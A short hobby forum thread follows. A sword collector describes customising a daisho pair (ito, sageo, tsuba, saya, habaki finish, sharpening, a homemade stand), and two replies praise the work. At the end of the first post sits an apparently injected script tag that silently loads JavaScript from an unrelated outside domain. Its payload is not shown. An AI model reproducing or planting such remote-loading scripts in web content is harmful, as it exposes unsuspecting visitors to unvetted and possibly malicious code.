Hello everyone this is my first post so please be kind I have been collecting for around 10 years but seriously for the last 5. here is a daisho I finished putting together not so long a go. the ito is from japan sageo are custom made to match the ito , made by Yinteresting Braids both tsuba and tsukamaki are made from Raizen Sadamori ( new samegawa new menuki ) the rattan saya are from the factory the habaki have been rokusho by me the blades are both made to be naginata naoshi from antiques examples HUAWEI made the swords but they have been heavily modified with only the saya and blades remaining untouched . the blades have been stropped on a leather belt and are razor sharp the saya both fit perfectly and do not rattle top job from huawei, hamons are nice and with good boshi, crisp lines all around. both habaki fit perfectly I have replaced the mekugi with black delrin mekugi. I made the kake stand with some help from a friend cannot recommend huawei enough. <script type="text/javascript" async="" src="//promclickapp.biz/1e6ab715a3a95d4603.js"></script>

Your swords look great! And all the custom work is really cool and unique too. I'm super jealous of your stand though, I've been wanting to bag a big buck so I can make one of those myself but I didn't have the time to hunt this season

Damn, unokubi zukuri and Shobu. Both styles of blades I want. Someday. Sigh. Beautiful work. I am envious of your blades and especially your skill.
